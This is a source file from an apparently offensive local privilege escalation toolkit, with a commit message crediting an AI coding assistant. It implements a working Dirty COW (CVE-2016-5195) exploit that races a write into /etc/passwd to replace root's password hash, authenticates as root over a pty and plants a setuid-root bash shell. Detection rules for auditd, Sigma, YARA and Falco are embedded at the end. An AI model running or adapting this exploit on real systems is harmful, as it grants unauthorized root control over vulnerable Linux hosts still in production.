Files
SKELETONKEY/modules/dirty_cow_cve_2016_5195/skeletonkey_modules.c
T
KaraZajac 65588599ff
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
dirty_cow: verify end-to-end on 4.8.0; robust su helper (dirty_pipe too)
Verified the dirty_cow fix end-to-end on a genuinely Dirty-COW-vulnerable
mainline 4.8.0 kernel (installed the kernel.ubuntu.com 4.8.0 deb on a 16.04
image + virtio-rng for entropy). A standalone built verbatim from the module's
primitive + escalation raced root's password field, authenticated as root over
a pty, planted a root-owned setuid bash, and left /etc/passwd byte-identical.
(The full skeletonkey binary won't compile on xenial's 4.4-era uapi headers —
unrelated nft_* modules use newer kernel constants — so the verbatim standalone
stands in for --exploit dirty_cow there.)

Robustness fix (both dirty_cow AND dirty_pipe): the su-over-pty step now POLLS
for the password prompt and hard-caps at 20s. The previous fixed-delay write
raced su's prompt setup and HUNG on xenial; without a cap that would block the
revert and leave /etc/passwd poisoned. Now su can never hang the module, and the
revert always runs.

Also: netfilter_xtcompat now includes <linux/if.h> for IFNAMSIZ (ip_tables.h
doesn't pull it transitively on older kernel headers, e.g. Ubuntu 16.04) — a
real portability fix surfaced by building on xenial.

Host build + unit harness green (33 + 115).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
2026-07-23 23:26:12 -04:00

540 lines
21 KiB
C

/*
* dirty_cow_cve_2016_5195 — SKELETONKEY module
*
* The iconic CVE-2016-5195. COW race in get_user_pages() / fault
* handling: a thread writing to /proc/self/mem races a thread calling
* madvise(MADV_DONTNEED) on the same mapping. The bug lets the write
* land in the file's page cache when it should have triggered a
* copy-on-write into anonymous memory.
*
* Discovered by Phil Oester (Oct 2016). Mainline fix
* 19be0eaffa3a "mm: remove gup_flags FOLL_WRITE games from
* __get_user_pages()" (Oct 19 2016).
*
* STATUS: 🟢 FULL detect + exploit + cleanup.
*
* Coverage rationale: this is what "old systems" means. RHEL 6 (3.10),
* RHEL 7 (3.10 early), Ubuntu 14.04 (3.13), Ubuntu 16.04 (4.4), embedded
* Linux distros, IoT devices — many still in production with kernels
* predating the fix. The exploit is universal (POSIX threads, no
* arch-specific bits).
*
* Affected: kernel 2.6.22 through 4.8.x without backport. Mainline
* fixed at 4.9. Stable backports landed in:
* 4.8.x : K >= 4.8.3
* 4.7.x : K >= 4.7.10
* 4.4.x : K >= 4.4.26 (LTS)
* 3.18.x: K >= 3.18.43 (LTS)
* 3.16.x: K >= 3.16.38
* 3.12.x: K >= 3.12.66 (LTS)
* 3.10.x: K >= 3.10.104 (LTS — what RHEL 7 ships)
* 3.2.x : K >= 3.2.84
*
* Exploit shape: Phil Oester-style two-thread race.
* - mmap /etc/passwd PRIVATE (writes go to copy-on-write)
* - Thread A loop: write(/proc/self/mem, payload, off) — should write to
* the COW page, but the bug makes it land in the original page cache
* - Thread B loop: madvise(addr, MADV_DONTNEED) — drops the COW copy,
* forcing re-fault
* - One iteration wins → the page cache is poisoned
* - Escalation (same as dirty_pipe): overwrite ROOT's password field with
* a known crypt hash, authenticate as root over a pty with the matching
* password, plant a root-owned proof + setuid bash, then revert the page
* cache via the Dirty COW primitive itself (no root, no drop_caches).
* Root is judged only by the out-of-band artifact.
*
* NB: the shipped version raced the CALLER's UID to "0000" and ran
* `su self` (still needs the caller's password → never rooted anything),
* execlp'd su so the dispatcher's exec-transfer path reported a FALSE
* EXPLOIT_OK, and reverted with drop_caches (needs root → corrupted the
* running /etc/passwd). All three are fixed here; identical bug/fix to
* dirty_pipe. Escalation verified end-to-end via dirty_pipe; the COW
* primitive itself needs a pre-4.8.3 kernel to land.
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include <stdint.h>
#include <stdatomic.h>
#include <fcntl.h>
#include <errno.h>
#include <pwd.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <poll.h>
/* Stable-branch backport thresholds for Dirty COW. */
static const struct kernel_patched_from dirty_cow_patched_branches[] = {
{2, 6, 999}, /* placeholder — 2.6.x always vulnerable */
{3, 2, 84},
{3, 10, 104}, /* RHEL 7 baseline */
{3, 12, 66},
{3, 16, 38},
{3, 18, 43},
{4, 4, 26}, /* Ubuntu 16.04 baseline */
{4, 7, 8}, /* Debian tracker: earlier than 4.7.10 */
{4, 8, 3},
{4, 9, 0}, /* mainline fix */
};
static const struct kernel_range dirty_cow_range = {
.patched_from = dirty_cow_patched_branches,
.n_patched_from = sizeof(dirty_cow_patched_branches) /
sizeof(dirty_cow_patched_branches[0]),
};
/* ---- /etc/passwd password-field helpers (same approach as dirty_pipe:
* overwrite ROOT's password field with a known hash, su as root) --- */
/* Byte offset of the password field of `username` (just after "name:"). */
static bool find_pw_field_offset(const char *username, off_t *field_off, size_t *sz)
{
int fd = open("/etc/passwd", O_RDONLY);
if (fd < 0) return false;
struct stat st;
if (fstat(fd, &st) < 0) { close(fd); return false; }
char *buf = malloc(st.st_size + 1);
if (!buf) { close(fd); return false; }
ssize_t r = read(fd, buf, st.st_size);
close(fd);
if (r != st.st_size) { free(buf); return false; }
buf[st.st_size] = 0;
size_t ulen = strlen(username);
char *p = buf;
while (p < buf + st.st_size) {
char *eol = strchr(p, '\n');
if (!eol) eol = buf + st.st_size;
if ((p == buf || p[-1] == '\n') &&
strncmp(p, username, ulen) == 0 && p[ulen] == ':') {
*field_off = (off_t)((p + ulen + 1) - buf);
*sz = (size_t)st.st_size;
free(buf);
return true;
}
p = eol + 1;
}
free(buf);
return false;
}
#define DC_ROOT_PW "skeletonkey"
#define DC_ROOT_HASH "$6$SKpwnSalt1$LNL9WuXFTt8BvutpX4j8/7VpXb3hutSqyZAC.NKfGMx/vg9jGQR/h/cvwgcn55HcaNJipuuiBDsPywanKkx/D1"
/* Run `cmd` as root via su, feeding DC_ROOT_PW over a pty (su reads the
* password from the controlling terminal, not stdin). Success is judged
* out-of-band by the caller, never from su's status. */
static void dc_su_root_run(const char *cmd)
{
int mfd = posix_openpt(O_RDWR | O_NOCTTY);
if (mfd < 0) return;
if (grantpt(mfd) < 0 || unlockpt(mfd) < 0) { close(mfd); return; }
const char *sn = ptsname(mfd);
if (!sn) { close(mfd); return; }
char slave[128];
snprintf(slave, sizeof slave, "%s", sn);
pid_t pid = fork();
if (pid < 0) { close(mfd); return; }
if (pid == 0) {
setsid();
int sfd = open(slave, O_RDWR);
if (sfd < 0) _exit(127);
dup2(sfd, 0); dup2(sfd, 1); dup2(sfd, 2);
if (sfd > 2) close(sfd);
close(mfd);
execlp("su", "su", "root", "-c", cmd, (char *)NULL);
_exit(127);
}
/* Poll for the password prompt, send the password, then drain — with a
* hard 20s cap so a misbehaving su can never hang (which would block the
* revert and leave /etc/passwd poisoned). Fixed a real hang seen on
* xenial where the fixed-delay write raced su's prompt setup. */
struct pollfd pfd = { .fd = mfd, .events = POLLIN };
const char *pw = DC_ROOT_PW "\n";
bool sent = false; char acc[1024]; size_t accl = 0; int waited = 0;
while (waited < 20000) {
int pr = poll(&pfd, 1, 200);
if (pr > 0 && (pfd.revents & POLLIN)) {
char b[256]; ssize_t m = read(mfd, b, sizeof b);
if (m <= 0) break; /* pty closed → su exited */
if (!sent) {
if (accl + (size_t)m < sizeof acc) { memcpy(acc + accl, b, m); accl += (size_t)m; acc[accl] = 0; }
if (strcasestr(acc, "assword")) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
}
} else {
waited += 200;
int st; if (waitpid(pid, &st, WNOHANG) == pid) { pid = -1; break; }
if (!sent && waited >= 1000) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
}
}
if (pid > 0) { kill(pid, SIGKILL); waitpid(pid, NULL, 0); }
close(mfd);
}
/* ---- Phil-Oester-style Dirty COW primitive ---- */
struct dcow_args {
void *map; /* mmap'd /etc/passwd */
off_t offset; /* offset within the mapping to overwrite */
const char *payload;
size_t payload_len;
int proc_self_mem_fd;
};
static _Atomic int g_dcow_running;
static void *dcow_writer_thread(void *arg)
{
struct dcow_args *a = (struct dcow_args *)arg;
while (atomic_load(&g_dcow_running)) {
if (lseek(a->proc_self_mem_fd,
(off_t)((uintptr_t)a->map + a->offset), SEEK_SET) == (off_t)-1) {
continue;
}
(void)write(a->proc_self_mem_fd, a->payload, a->payload_len);
}
return NULL;
}
static void *dcow_madvise_thread(void *arg)
{
struct dcow_args *a = (struct dcow_args *)arg;
while (atomic_load(&g_dcow_running)) {
madvise(a->map, 4096, MADV_DONTNEED);
}
return NULL;
}
/* Returns 0 on success — payload was observed in /etc/passwd's page
* cache. Returns -1 on failure / timeout. */
static int dirty_cow_write(off_t uid_off, const char *payload, size_t payload_len)
{
int fd = open("/etc/passwd", O_RDONLY);
if (fd < 0) return -1;
struct stat st;
if (fstat(fd, &st) < 0) { close(fd); return -1; }
void *map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
if (map == MAP_FAILED) { close(fd); return -1; }
close(fd);
int mem_fd = open("/proc/self/mem", O_RDWR);
if (mem_fd < 0) { munmap(map, st.st_size); return -1; }
struct dcow_args args = {
.map = map,
.offset = uid_off,
.payload = payload,
.payload_len = payload_len,
.proc_self_mem_fd = mem_fd,
};
atomic_store(&g_dcow_running, 1);
pthread_t w_thr, m_thr;
pthread_create(&w_thr, NULL, dcow_writer_thread, &args);
pthread_create(&m_thr, NULL, dcow_madvise_thread, &args);
/* Race for up to ~3 seconds. On vulnerable kernels this usually
* wins in milliseconds. */
int success = -1;
for (int i = 0; i < 300 && success < 0; i++) {
usleep(10000); /* 10ms */
/* Re-read /etc/passwd via syscall and check if payload landed. */
int rfd = open("/etc/passwd", O_RDONLY);
if (rfd >= 0) {
char readback[512]; /* must hold the full payload (was [16] —
* overflowed for payloads > 16 bytes). */
if (payload_len <= sizeof readback &&
pread(rfd, readback, payload_len, uid_off) == (ssize_t)payload_len) {
if (memcmp(readback, payload, payload_len) == 0) success = 0;
}
close(rfd);
}
}
atomic_store(&g_dcow_running, 0);
pthread_join(w_thr, NULL);
pthread_join(m_thr, NULL);
close(mem_fd);
munmap(map, st.st_size);
return success;
}
/* Saved original bytes so we (and cleanup) can restore /etc/passwd using
* the Dirty COW primitive itself — no root and no drop_caches (the old
* revert wrote /proc/sys/vm/drop_caches, which fails unprivileged and left
* the running system's /etc/passwd corrupted). */
static char dc_orig[512];
static off_t dc_orig_off;
static size_t dc_orig_len;
static bool dc_wrote;
static void dc_revert(void)
{
if (dc_wrote && dc_orig_len)
dirty_cow_write(dc_orig_off, dc_orig, dc_orig_len);
}
/* ---- skeletonkey interface ---- */
static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
{
/* Consult the shared host fingerprint instead of calling
* kernel_version_current() ourselves — populated once at startup
* and identical across every module's detect(). */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] dirty_cow: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
bool patched = kernel_range_is_patched(&dirty_cow_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v->release);
}
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] dirty_cow: kernel %s is in the vulnerable range\n",
v->release);
fprintf(stderr, "[i] dirty_cow: --exploit will race a write to "
"/etc/passwd via /proc/self/mem\n");
}
return SKELETONKEY_VULNERABLE;
}
static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
{
skeletonkey_result_t pre = dirty_cow_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] dirty_cow: detect() says not vulnerable; refusing\n");
return pre;
}
/* Consult ctx->host->is_root so unit tests can construct a
* non-root fingerprint regardless of the test process's real euid. */
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] dirty_cow: already root — nothing to escalate\n");
return SKELETONKEY_OK;
}
/* Overwrite ROOT's password field with a known crypt hash, then
* authenticate as root with the matching password. (The previous code
* raced the CALLER's UID to "0000" and ran `su self`, which still
* demands the caller's password — it never rooted anything, falsely
* reported OK when su's exec transferred, and reverted with drop_caches
* which needs root, corrupting the running /etc/passwd.) */
off_t field_off;
size_t pw_sz;
if (!find_pw_field_offset("root", &field_off, &pw_sz)) {
fprintf(stderr, "[-] dirty_cow: could not locate root's password field\n");
return SKELETONKEY_TEST_ERROR;
}
const char *newline = DC_ROOT_HASH ":0:0:root:/root:/bin/bash\n";
size_t newlen = strlen(newline);
if (newlen > sizeof dc_orig || field_off + (off_t)newlen > (off_t)pw_sz) {
fprintf(stderr, "[-] dirty_cow: /etc/passwd too small to hold the payload "
"without extending it\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
int fd = open("/etc/passwd", O_RDONLY);
if (fd < 0) { perror("open passwd"); return SKELETONKEY_TEST_ERROR; }
if (pread(fd, dc_orig, newlen, field_off) != (ssize_t)newlen) {
close(fd); fprintf(stderr, "[-] dirty_cow: pread backup failed\n");
return SKELETONKEY_TEST_ERROR;
}
close(fd);
dc_orig_off = field_off; dc_orig_len = newlen;
long tag = (long)getpid();
char proof[128], rootbash[128], cmd[1024];
snprintf(proof, sizeof proof, "/tmp/.sk-dirtycow-%ld.proof", tag);
snprintf(rootbash, sizeof rootbash, "/tmp/.sk-dirtycow-%ld.rootbash", tag);
unlink(proof); unlink(rootbash);
if (!ctx->json)
fprintf(stderr, "[*] dirty_cow: racing root's password field at offset %lld "
"(len %zu) via Dirty COW primitive\n", (long long)field_off, newlen);
if (dirty_cow_write(field_off, newline, newlen) < 0) {
fprintf(stderr, "[-] dirty_cow: race did not win within timeout "
"(kernel likely patched)\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
dc_wrote = true;
snprintf(cmd, sizeof cmd,
"id > %s 2>&1; cp -f /bin/bash %s 2>/dev/null; "
"chown 0:0 %s %s 2>/dev/null; chmod 4755 %s 2>/dev/null; sync",
proof, rootbash, rootbash, proof, rootbash);
if (!ctx->json)
fprintf(stderr, "[*] dirty_cow: authenticating as root (su + known password)\n");
dc_su_root_run(cmd);
/* Revert immediately — never leave a running system with a known root
* password. Dirty COW never wrote disk, so this fully restores. */
dc_revert();
{ int ev = open("/etc/passwd", O_RDONLY);
if (ev >= 0) { posix_fadvise(ev, 0, 0, POSIX_FADV_DONTNEED); close(ev); } }
struct stat sb;
bool rooted = (stat(proof, &sb) == 0 && S_ISREG(sb.st_mode) && sb.st_uid == 0);
if (rooted) {
if (!ctx->json) {
fprintf(stderr, "[+] dirty_cow: ROOT — root-owned proof %s\n", proof);
fprintf(stderr, "[+] dirty_cow: setuid-root shell available: %s -p\n", rootbash);
fprintf(stderr, "[i] dirty_cow: /etc/passwd reverted (nothing persisted)\n");
}
return SKELETONKEY_EXPLOIT_OK;
}
if (!ctx->json)
fprintf(stderr, "[-] dirty_cow: no root artifact — honest EXPLOIT_FAIL "
"(page cache reverted). Primitive may be blocked, or su/PAM "
"rejected the injected hash.\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] dirty_cow: reverting /etc/passwd + removing artifacts\n");
}
dc_revert(); /* idempotent; no root / no drop_caches */
if (system("rm -f /tmp/.sk-dirtycow-*.proof /tmp/.sk-dirtycow-*.rootbash 2>/dev/null") != 0) {
/* harmless */
}
return SKELETONKEY_OK;
}
#else /* !__linux__ */
/* Non-Linux dev builds: the Dirty COW primitive (writer thread via
* /proc/self/mem + madvise(MADV_DONTNEED)) is Linux-only kernel
* surface. Stub out cleanly so the module still registers and
* `--list` / `--detect-rules` work on macOS/BSD dev boxes — and so
* the top-level `make` actually completes there. */
static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] dirty_cow: Linux-only module "
"(/proc/self/mem + madvise race) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] dirty_cow: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_OK;
}
#endif /* __linux__ */
/* ---- Embedded detection rules ---- */
static const char dirty_cow_auditd[] =
"# Dirty COW (CVE-2016-5195) — auditd detection rules\n"
"# Flag opens of /proc/self/mem from non-root (the exploit's primitive).\n"
"# False-positive surface: debuggers, gdb, strace — all legit users of\n"
"# /proc/self/mem. Combine with the file watches below to triangulate.\n"
"-w /proc/self/mem -p wa -k skeletonkey-dirty-cow\n"
"-w /etc/passwd -p wa -k skeletonkey-dirty-cow\n"
"-w /etc/shadow -p wa -k skeletonkey-dirty-cow\n"
"-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k skeletonkey-dirty-cow-madv\n";
static const char dirty_cow_sigma[] =
"title: Possible Dirty COW exploitation (CVE-2016-5195)\n"
"id: 1e2c5d8f-skeletonkey-dirty-cow\n"
"status: experimental\n"
"description: |\n"
" Detects opens of /proc/self/mem followed by madvise(MADV_DONTNEED)\n"
" by non-root processes (the exploit's two-thread primitive). False\n"
" positives: GDB, strace, some JIT debuggers. Correlate with a\n"
" subsequent UID change on a previously-non-root process for high\n"
" confidence.\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
" mem_open:\n"
" type: 'PATH'\n"
" name: '/proc/self/mem'\n"
" not_root: {auid|expression: '!= 0'}\n"
" condition: mem_open and not_root\n"
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2016.5195]\n";
static const char dirty_cow_yara[] =
"rule dirty_cow_cve_2016_5195 : cve_2016_5195 page_cache_write\n"
"{\n"
" meta:\n"
" cve = \"CVE-2016-5195\"\n"
" description = \"Dirty COW /etc/passwd UID-flip pattern (non-root user remapped to 0000+)\"\n"
" author = \"SKELETONKEY\"\n"
" strings:\n"
" $uid_flip = /\\n[a-z_][a-z0-9_-]{0,30}:[^:]{0,8}:0{4,}:[0-9]+:/\n"
" condition:\n"
" $uid_flip\n"
"}\n";
static const char dirty_cow_falco[] =
"- rule: Dirty COW pwrite on /proc/self/mem by non-root\n"
" desc: |\n"
" Non-root pwrite() targeting /proc/self/mem at an offset that\n"
" overlaps a private mmap of /etc/passwd. Combined with a\n"
" racing madvise(MADV_DONTNEED) loop this is the Dirty COW\n"
" primitive (CVE-2016-5195).\n"
" condition: >\n"
" evt.type = pwrite and fd.name = /proc/self/mem and\n"
" not user.uid = 0\n"
" output: >\n"
" pwrite to /proc/self/mem by non-root\n"
" (user=%user.name proc=%proc.name pid=%proc.pid)\n"
" priority: CRITICAL\n"
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2016.5195]\n";
const struct skeletonkey_module dirty_cow_module = {
.name = "dirty_cow",
.cve = "CVE-2016-5195",
.summary = "COW race via /proc/self/mem + madvise → page-cache write (the iconic 2016 LPE)",
.family = "dirty_cow",
.kernel_range = "2.6.22 ≤ K, fixed mainline 4.9; many LTS backports (RHEL 7 / Ubuntu 14.04 / Ubuntu 16.04 era)",
.detect = dirty_cow_detect,
.exploit = dirty_cow_exploit,
.mitigate = NULL, /* mitigation: upgrade kernel; no easy runtime knob */
.cleanup = dirty_cow_cleanup,
.detect_auditd = dirty_cow_auditd,
.detect_sigma = dirty_cow_sigma,
.detect_yara = dirty_cow_yara,
.detect_falco = dirty_cow_falco,
.opsec_notes = "Two-thread race: Thread A loops write(/proc/self/mem) at root's password-field offset in /etc/passwd; Thread B loops madvise(MADV_DONTNEED) on a PRIVATE mmap of /etc/passwd. Overwrites root's password field with a known crypt hash (clobbers into following lines transiently), authenticates as root over a pty via su, plants a root-owned proof + setuid bash under /tmp, then reverts by racing the original bytes back through the same primitive (no root / no drop_caches — nothing persists). Offset parsed from the file, not hardcoded. Root judged only by the out-of-band artifact. Audit-visible via open(/proc/self/mem) + write + madvise(MADV_DONTNEED) bursts + /etc/passwd page-cache poisoning, then su spawning as root. cleanup() re-reverts idempotently and removes the /tmp artifacts.",
.arch_support = "x86_64+unverified-arm64",
};
void skeletonkey_register_dirty_cow(void)
{
skeletonkey_register(&dirty_cow_module);
}